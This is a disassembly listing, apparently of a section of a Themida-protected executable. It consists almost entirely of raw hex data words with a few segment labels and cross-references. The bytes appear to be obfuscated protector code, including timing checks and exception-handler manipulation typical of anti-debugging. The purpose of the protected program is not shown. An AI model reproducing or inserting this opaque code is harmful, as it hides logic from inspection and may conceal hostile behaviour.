		dd 50FD0FB7h, 9890Fh, 53600000h, 7270BA5Eh, 9661277Fh
		dd 0D1D9D8Bh, 0B5FF0615h, 618BF99h, 0A099D01h, 95890615h
		dd 6150479h, 6A195FFh, 5E80615h, 0C000000h, 0B604DB46h
		dd 8DB58B5Bh, 6A0618BFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 57D6C353h, 3B1CFC89h
		dd 59858Bh, 6A0615h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 150424h, 57470000h, 894D00C3h, 0C486h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 0E6C6404Ch, 8B5BF850h, 15272195h, 0AD858906h, 8306152Eh
		dd 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 5E9786C3h, 16396EABh, 119D8919h, 8906152Dh
		dd 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 3350F0C3h, 0B30C7B29h, 0EE9FBh, 0D5CF0000h
		dd 9B78E1D9h, 0E81CDB3Eh, 0AF9AB839h, 0D458858Dh, 6A0618h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 9EA5C4C3h, 0F021AAC0h, 660E3458h, 894880BBh,	0B886h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 1E57B599h, 6AE56F4Ch, 0FFD88B00h, 18BF99B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0CA9C5C27h, 9ED13D28h, 5E92854h,	8B000000h
		dd 635F0B1Fh, 1D4D95FFh, 0E3810615h, 39CB2A5Ch,	12E86050h
		dd 0FB000000h, 0F35B2256h, 3F1E08F1h, 927C5828h, 17F7426Eh
		dd 8B665B88h, 348961CEh, 0DFB70F24h, 0BF99B5FFh, 6A0618h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 8C3A70C3h, 0EF8166F2h, 95FFB894h, 6150729h, 65BD83h
		dd 0F000615h, 5784h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0B756B66Ah, 9D8BA8E2h
		dd 6152D51h, 0E9525096h, 0Bh, 6C1F562Eh, 2500D9F2h, 0F9341D0h
		dd 0B7525031h, 0BB310FF5h, 28BAC6FCh, 585A585Ah, 27BF6650h
		dd 9D899655h, 61528C5h,	0BF99B5FFh, 6A0618h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8ADFFEC3h
		dd 0B23FE872h, 0B70FF592h, 69BD8BDFh, 0FF061524h, 15043995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0D63B535Fh, 0BD8B6331h, 6152709h, 9E9h
		dd 2E313B00h, 5E6A0Fh, 0B5FF9430h, 618BF99h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 52C35141h, 0A38119AEh
		dd 1D8589B4h, 0FF061534h, 150DCD95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0A30C0B7Eh
		dd 0FE96391h, 0FB000000h, 555F6D05h, 2A3DA358h,	29CB63CDh
		dd 0BD835383h, 615285Dh, 24840F02h, 0E9000000h,	0Bh, 64A044C4h
		dd 64D430C0h, 8B01F2C4h, 15284985h, 7943BB06h, 0C6052Bh
		dd 0C9850100h, 0C706152Dh, 1523F585h, 6, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 1E07BE6Eh, 458589FCh, 0E9061513h, 0FFFFF31Ch, 0A7FFF781h
		dd 0C18B7DBCh, 68F0Fh, 0BD290000h, 6150005h, 25459D09h
		dd 858D0615h, 615279Dh,	0E8E62ABBh, 52505053h, 0BE8h, 0B190A600h
		dd 694A05C6h, 21A31C04h, 5FF98B66h, 585A310Fh, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 65CEC350h, 0DD4A71A7h, 6A6EB309h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0BB2A5B1Bh, 0E37482DCh, 1605BD89h, 6A0615h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 89C35545h, 858DDD67h
		dd 619C635h, 2C759D03h,	0C0830615h, 5090FC05h, 8B0Fh, 66900000h
		dd 6A2AA8BFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 58317D19h, 0A096F0BFh, 0DFB70F06h
		dd 22D1BD8Bh, 6A0615h, 0CE4969BBh, 7995FF61h, 8D061526h
		dd 189C158Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 891609D3h, 15179185h, 6296BF06h
		dd 0D1FF4258h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0C9C35343h, 41F8B500h, 8BADA26Bh, 152F899Dh, 0B5BD8306h
		dd 106152Dh, 42850Fh, 8B660000h, 89026ADEh, 1520B9B5h
		dd 830F5006h, 8, 2890Fh, 0FE8B0000h, 89240489h,	1528A985h
		dd 4D95FF06h, 0E906151Dh, 14h, 0F6EBEFDBh, 2A0C649Ch, 0DB9C9BE6h
		dd 1D2D126Ah, 5D26DB58h, 0F81E9h, 0E800h, 815D0000h, 19C63FEDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 160B2A4h, 150821BDh, 25B52906h, 61061511h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h
		dd 8973E778h, 150E11BDh, 0F9858D06h, 6A061888h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0BA49C350h, 0F6A66E9h, 584h,	1068BF00h, 8531377Ah, 6150D71h
		dd 0AD25DB81h, 0BB90731Eh, 2530DF59h, 16A4BB50h, 8B905195h
		dd 35FF64FAh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 31C35141h
		dd 25896406h, 0
		dd 3585FFF8h, 89061515h, 150765BDh, 6AFF6A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0D4DCC356h, 1B15A370h, 0B5FF76F7h, 61523E1h,	13870Fh
		dd 0EE90000h, 43000000h, 280FBCFBh, 58150E88h, 0FC4D2463h
		dd 0BD95FF60h, 0E9061508h, 15Bh, 8100B0F8h, 47441D3h, 8970E627h
		dd 1530159Dh, 8B71E406h, 150A11BDh, 0F613C06h, 13A83h
		dd 12E900h, 92840000h, 0A99914A6h, 0E15873A2h, 40FA8EC9h
		dd 0C52FFBA4h, 89C8B60Fh, 1518F5B5h, 6BA06h, 0BF0F0000h
		dd 56C18BFAh, 31958B60h, 8906151Ah, 1527A19Dh, 0C15F6106h
		dd 0B58904E8h, 6150CADh, 0FE2F766h, 1E80h, 10E86000h, 89000000h
		dd 0E47CCAB8h, 95E868DEh, 6E8A3h, 5B3D31C8h, 8C0Fh, 0E9610000h
		dd 13h,	365842E9h, 3D0438A5h, 26CE9515h, 0E9958EEAh, 2B21432Fh
		dd 0FE8A60C8h, 12870Fh,	0DE90000h, 0F9000000h, 0B2416102h
		dd 367B4BB4h, 95AB3B36h, 89D18B61h, 1507C1BDh, 6D952906h
		dd 0E9061521h, 87h, 0BE8h, 2CDADE00h, 0B0E651F7h, 0CC9EF94Ch
		dd 10DBD8Bh, 8B5B0615h,	885h, 8E900h, 0D14D0000h, 0ADDC9C0Eh
		dd 6EBF17E9h, 8323F7FEh, 9D8B07C0h, 6150C75h, 0F900C083h
		dd 830FD03Bh, 0Eh, 9A5BB52h, 0E95F3271h, 37h, 8D8BFE8Bh
		dd 0FFFFFFFFh, 109D9D89h, 0E1830615h, 20840F01h, 8B000000h
		dd 1517D1BDh, 0FFA58306h, 0FEFFFFFFh, 10519D8Bh, 95890615h
		dd 8, 0E91BB7h,	8D000000h, 194304B5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0FDAAA401h, 12E896h
		db 2 dup(0)
word_5C631E	dw 0C284h		; DATA XREF: Themida_:00579C54o
					; Themida_:0057AACCo
		dd 27654EF3h, 6C14CB40h, 0F0011691h, 864A0078h,	0E026F781h
		dd 6A5F6B2Ah, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0AD89D02h, 0E2EAA2D6h, 95FFD1DDh
		dd 6152E21h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0DBC35141h, 0A3494FBBh,	1D85897Ch, 0F061515h, 68Eh
		dd 9DBD0900h, 0B9061510h, 1043h, 68B0F60h, 33000000h, 151A5595h
		dd 6870F06h, 89000000h,	1521E98Dh, 0E1836106h, 55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E8541B94h, 11h, 0F5FCB0B6h,	0C8A86DC4h, 22F4F229h
		dd 200F4401h, 0EE937h, 0AC180000h, 7B2FD1FCh, 0D37CA7DAh
		dd 0CA6EAAD7h, 0BD01605Bh, 6151359h, 225BD89h, 0FC610615h
		dd 0B8DFBF0Fh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0B4C35242h
		dd 71AE3ADAh, 199D8BB3h, 2B061502h, 57006AD2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 81AFE01Dh
		dd 0D3811C99h, 69B6424Eh, 12E9h, 0B9D15E00h, 0ED057B10h
		dd 116D8F10h, 29B0C9DBh, 0AD59B3CAh, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 3139C357h, 15256995h, 880D06h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0D981EFC3h, 0B92FFFF5h, 0B59D23D6h, 8B061517h
		dd 15272195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 512C1C3Fh, 7E94Dh, 1B560000h, 252F5B3Eh
		dd 0CD8D8BE5h, 6A061504h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0E730C351h,	0BD8B4A3Bh
		dd 6150BA1h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0D92B85C3h, 6A79EFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0F5B6EBC3h, 0A9BD8346h
		dd 61518h, 9C840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 170424h, 56460000h, 28CC7FC3h, 0C99D8B5Fh
		dd 0F06151Ch, 68Dh, 618D8900h, 0B806151Ah, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 15C35545h
		dd 4865194Ah, 0B09A8B2Dh, 2585BD01h, 0BD030615h, 6151135h
		dd 4F9E8D8Dh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0E70820C3h, 5C5E0EC3h, 2571BD8Bh
		dd 0E1FF0615h, 29659529h, 0BD830615h, 6151115h,	7F840F00h
		dd 66000004h, 4940CF81h, 1115BD83h, 0F010615h, 48884h
		dd 0C19D8900h, 83061527h, 151115BDh, 860F0306h,	43Fh, 1A8ABB66h
		dd 55006A60h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0DF81A08Eh, 1B14C8F6h, 81D98C66h, 32DDE3h
		dd 259D232Ah, 80061502h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0B99AAAC3h, 0A8D4E4Bh
		dd 2F840FC9h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0F6CC357h, 0E8Ch, 0BD036000h
		dd 615002Dh, 2B158501h,	8B610615h, 15249D85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0C0D932F2h, 9D8B0E5Fh, 6152D41h, 2F819589h, 8B0F0615h
		dd 6, 0FC1BD8Bh, 85330615h, 61519B5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 2DC35545h, 0B7506F1Bh, 2404891Ah
		dd 6799509h, 6A0615h, 59B8C781h, 4E87D8Ah, 0FF000000h
		dd 0E8001F03h, 5, 335F5BCEh, 0FA8B660Eh, 8F0F505Fh, 0
		dd 424448Bh, 0E87FB460h, 6, 0CCC8D57Ch,	0AE88483h, 6D000000h
		dd 0ADC017FFh, 0A92F2F05h, 615B5A68h, 0BB66008Bh, 44893EE8h
		dd 0F98B0424h, 0AD95FF58h, 8906150Dh, 18BF9985h, 3EE9FC06h
		dd 6A000002h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0E4FBC355h, 438B542Fh,	2351B589h
		dd 858B0615h, 618BF91h,	6840Fh,	95310000h, 6152AA1h, 1800C7h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 160B98C3h, 8166E40Bh, 8BD185CBh, 18BF95B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 3CC39D0Fh
		db 0E9h, 13h
word_5C685A	dw 0			; DATA XREF: Themida_:0059E90Fo
		dd 0DCF2C100h, 0A0D524ABh, 640012CFh, 505DB220h, 0ED7281E6h
		dd 189D8D89h, 858B0615h, 6150C45h, 14E8h, 90E1C100h, 0DFB64522h
		dd 702072B2h, 0AE43861Fh, 0C373FB18h, 0D595893Ah, 5B061518h
		dd 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0DEBD25C3h, 8B55FE07h, 15249D85h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 2FBBFB20h, 0FE8B2905h, 6A044689h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 27BFC356h
		dd 2A6DB529h, 0D98B0615h, 12E996h, 21350000h, 1E105689h
		dd 0C151AB7h, 0B3075985h, 8A16F884h, 0BF525050h, 1D778214h
		dd 850F310Fh, 6, 820Fh,	585A0000h, 0DD9D8B96h, 0FF06150Bh
		dd 18BF91B5h, 0D3816606h, 0FEB38EBEh, 4E8h, 1F03FF00h
		dd 35BF5000h, 8B1AB5A5h, 66042444h, 8BFA8Bh, 5880Fh, 7BBF0000h
		dd 89774CF7h, 0E8042444h, 13h, 6503BACBh, 40884A9Ah, 0E7641522h
		dd 8F4A7B3Fh, 5BCF8787h, 14E958h, 83680000h, 0C321AF00h
		dd 0C4EB95E0h, 9F99820Bh, 4062446h, 858D7A73h, 618BF99h
		dd 50EFC780h, 4755BF50h, 895F135Ch, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F7B539C3h
		dd 66BD3660h, 0FFFAD0BFh, 150DAD95h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 2ABB6637h
		dd 6A6156h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0EFA0B5C3h, 85C7B926h, 6151115h, 3, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E9C35040h, 0B271FFB7h
		dd 78BB6604h, 99BD83B4h, 618BFh, 39840Fh, 0BE90000h, 2D000000h
		dd 86368B39h, 0EE9B08E4h, 3FE9459Fh, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 9156C353h, 0C1C78158h, 5062E1E9h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0CEBA1CC3h
		dd 9DBD23BDh, 6A061517h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0D3D7C353h,	7ADFAE80h
		dd 0A98BB48h, 0BD8346E6h, 6151115h, 31850F03h, 0F9000004h
		dd 832BCB80h, 18BF99BDh, 840F0006h, 420h, 15820Fh, 9E80000h
		dd 60000000h, 0B5CF593Dh, 0F160E8ADh, 1065BD33h, 0FF5B0615h
		dd 18BF99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 39D00D6Bh, 0FCBFB10h, 68Fh, 3D858900h
		dd 0FF061504h, 1510E195h, 4319BF06h, 8BFC2C1Bh,	18BF8DB5h
		dd 41852906h, 0C7061529h, 1000106h, 965B5600h, 0DA8B5250h
		dd 8B66310Fh, 50585ADEh, 5E9h, 3D61E600h, 57963F10h, 0CF9BD89h
		dd 0FF5B0615h, 18BF99B5h, 13810F06h, 0E9000000h, 0Eh, 99B05934h
		dd 0F653AC1Dh, 9E3D6FB4h, 95FF7BE8h, 61506A1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B5C35646h, 603B3EFBh
		dd 1A4D9D89h, 8B610615h, 18BF8DB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 8CE43A18h
		dd 17F19531h, 858B0615h, 6150059h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 24C35141h, 1D9DF9EDh, 0C48689C8h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0EF25C355h, 2825BD89h,	958B0615h
		dd 6152721h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0C3C35141h, 0E96E68Fh, 38289F5Bh, 831BDF80h, 816604C2h
		dd 897A0DD7h, 6A2050h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 858DF3C3h, 618D458h, 5C19D0Bh, 86890615h
		dd 0B8h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ah,	89C35141h, 0B28D022Dh, 8B57F3C8h, 151CFD9Dh, 0E7815B06h
		dd 17D19D95h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0F8B429C3h, 0D3B952A6h, 0D81BD29h
		dd 0FE80615h, 3000000h,	0FD78A3A5h, 0F2E4E02Ch,	95B19161h
		dd 0BD8BE502h, 615005Dh, 99B5FF5Bh, 6A0618BFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 4361C356h, 89630B73h, 15251DBDh, 259D8B06h, 0FF06152Bh
		dd 151D4D95h, 0A1958906h, 57061519h, 8959D8Bh, 505B0615h
		dd 0CE8h, 6617E500h, 55EC2678h,	8CA91BB7h, 14E9600Bh, 81000000h
		dd 17D2F689h, 39548BDh,	0B445D8AEh, 0D4024A34h,	0E99ADF8Eh
		dd 13h,	6EA6BCC4h, 1A42630Eh, 0B357FB2h, 0F8C154BDh, 61383B2Dh
		dd 2434895Fh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	2EC35343h, 0BB66D002h, 0B5FF2761h, 618BF99h, 4880F56h
		dd 66000000h, 5BF25CBFh, 72995FFh, 0CF810615h, 2BA25792h
		dd 65BD83h, 0F000615h, 2E84h, 0D19D3300h, 6006151Ch, 8899D31h
		dd 8B530615h, 966159D9h, 8E850h, 0EF2B0000h, 6F809A7Bh
		dd 0D8BFDCC9h, 5F0F6E98h, 0FD8D8996h, 0FF06152Fh, 18BF99B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 70412F77h, 9D23FBF6h, 6152EE1h, 10ADBD8Bh
		dd 95FF0615h, 6150439h,	0E96BBF66h, 0BF99B5FFh,	6A0618h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0BA0F1C3h, 0CD95FFFEh, 6A06150Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 853DC350h
		dd 0F921B460h, 58C0Fh, 81660000h, 8390EFCFh, 15285DBDh
		dd 840F0206h, 3Ah, 0AD9D8956h, 5F061510h, 2849858Bh, 0BD8B0615h
		dd 615140Dh, 6A0000C6h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 6539C353h, 27499D8Bh
		dd 85C70615h, 61523F5h,	0
		dd 0FFF1C4E9h, 52006AFFh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 28C85101h, 211BEF4Bh
		dd 0C18BACF7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0BFC35343h, 0FE8BDh, 658E0000h,	0AE89E967h, 24832C86h
		dd 1D9DF9EDh, 0C9BD2BC8h, 5B061510h, 28598509h,	858D0615h
		dd 615279Dh, 1A498D89h,	0E8500615h, 9, 62B2C6Eh, 254E891h
		dd 5B87B36Eh, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0EF17C350h,	0FC396437h
		dd 6A2AB12Ch, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0CB2B9FD4h, 0ECA5251h, 6AB747h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 18C35141h, 0ED38A4DFh
		dd 1C819D8Bh, 858D0615h, 619D742h, 14598589h, 0C0830615h
		dd 4895005h, 0BE924h, 0C1A90000h, 0E1326AFBh, 8629D4A3h
		dd 56006AA5h, 5B88EF80h, 8166006Ah, 0FFF0A1F3h,	15267995h
		dd 8DF98B06h, 189C158Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0C7C3EE77h, 2631C300h
		dd 66D1FF5Bh, 0BD83DF8Bh, 6152DB5h, 7E850F01h, 6A000000h
		dd 51006A02h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 3E9B78E1h, 50901CDBh, 5800F52h, 0BF000000h
		dd 1EABB94Dh, 0CE9310Fh, 31000000h, 5AB0C4B2h, 0B965C01Fh
		dd 5A78A2CCh, 0B9B35058h, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 8F34435h, 4D95FF40h
		dd 6006151Dh, 0EB8CF8Bh, 61383555h, 0D91E24BBh,	104AE975h
		dd 0E80000h, 5D000000h,	0D74CED81h, 6A0619h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0ED7EADC3h
		dd 12D329BBh, 8A90CBDCh, 0F9858DF9h, 6A061888h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0E4E9C356h, 0F98B6675h, 608765BFh, 83B3905Ch, 90DF8B50h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E1C35141h
		dd 7654ECF7h, 0FF646D61h, 35h, 9DF8000h, 258964h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 1712C352h, 572A61FDh, 68C0Fh, 0BD8B0000h
		dd 6151A69h, 3585FF5Fh,	6A061515h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 78B4A933h
		dd 66A60174h, 0FF4A38BFh, 152921B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0B1022938h
		dd 0EE920h, 6AE20000h, 71941453h, 259E70B9h, 0EFAAAEh
		dd 280D9D8Bh, 95FF0615h, 61508BDh, 135E9h, 0DFBF0F00h
		dd 958900B0h, 6152A5Dh,	8D8970E6h, 6150E01h, 0B70F71E4h
		dd 0F613CDFh, 11583h, 6E85300h,	64000000h, 0EA3FD063h
		dd 5B5FFC7Dh, 0FC8B60Fh, 1881h,	13E900h, 54720000h, 0F7B1A3ECh
		dd 835F6BBCh, 5768C369h, 0C75B165Bh, 6BA28h, 0C18B0000h
		dd 0EE8FC60h, 8D000000h, 79177E17h, 95725916h, 43B6D1C5h
		dd 0E595091Eh, 5B061506h, 4E8C161h, 4A99D8Bh, 0F7660615h
		dd 29DA8BE2h, 150C6D8Dh, 89C82B06h, 15216D85h, 12E806h
		dd 47B60000h, 3258CEAFh, 0F919B677h, 5031E521h,	330FED8Ah
		dd 6840Fh, 0CF810000h, 765B23DEh, 8BD18B5Fh, 1503F59Dh
		dd 74E906h, 0E3810000h,	20719AC5h, 22299589h, 858B0615h
		dd 1, 7E59D89h,	0B5890615h, 6150A95h, 6607C083h, 794BDF81h
		dd 5700C083h, 174DBD01h, 3B5B0615h, 8830FD0h, 8B000000h
		dd 34E9FEh, 8BF50000h, 0FFFFFF8Dh, 0DA8B66FFh, 0F01E183h
		dd 2184h, 3CBB6600h, 0FFA5836Eh, 0FEFFFFFFh, 0E9E78166h
		dd 19589B7h, 89000000h,	1521E5BDh, 0E906h, 0B58D0000h
		dd 6195347h, 2F219D8Bh,	0BD890615h, 6150ACDh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 20CE27C3h, 60D2C5FCh, 20FD8D31h, 0B5890615h,	6150DC9h
		dd 8DB58961h, 0FF061517h, 152E2195h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 78F2E5D8h
		dd 608BC312h, 0BFF88B7Ah, 4D4DBD47h, 0E8DB9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E1E33547h, 53BEA2E2h, 0FCE18368h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0CCC35545h,	0A4F1B7FBh, 9BAE441Ah
		dd 6AFCDA8Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0DA2AC353h, 6CB4FD50h,	15958931h
		dd 89061502h, 15054D8Dh, 0B806h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0EEA11EC3h
		dd 0BA3CC5h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 4CAAC353h, 10E9h, 0A1657800h
		dd 0D94C90EBh, 745243CAh, 0D68543B3h, 0C233AD8Bh, 0D003E8D1h
		dd 7504E983h, 51006AF4h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0E2E3207Bh, 8E9h,	0C6349000h, 90C49262h
		dd 880D0Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1B0424h, 50400000h, 3D6729C3h, 0A1AEEA46h, 21958BDEh
		dd 0E9061527h, 0Fh, 9425FC00h, 0E5A94220h, 41C7EAC9h, 0F0EEF58h
		dd 68Eh, 119D0900h, 8B061501h, 1504CD8Dh, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 8CFA4283h, 4274E332h, 62BF66B5h, 0C28B5074h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F2DCC351h
		dd 0DB8F6EE9h, 292981DFh, 0D5858960h, 0B8061525h, 375A9413h
		dd 318D8961h, 6A061505h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 94DAC353h, 0F275F5AFh
		dd 7E9F568h, 0B5000000h, 25910D92h, 0BD83F797h,	61518A9h
		dd 0B0840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 843EC357h, 3F282C25h
		dd 0E9163AF2h, 7, 0E31A9DA4h, 0B88F501Ch, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0CAC35545h
		dd 0BD8B5440h, 615093Dh, 1031BD09h, 8D8D0615h, 6154F9Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 2FC35747h
		dd 0E92ACE51h, 7, 572A5FFCh, 0F5429AEDh, 6AE1FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
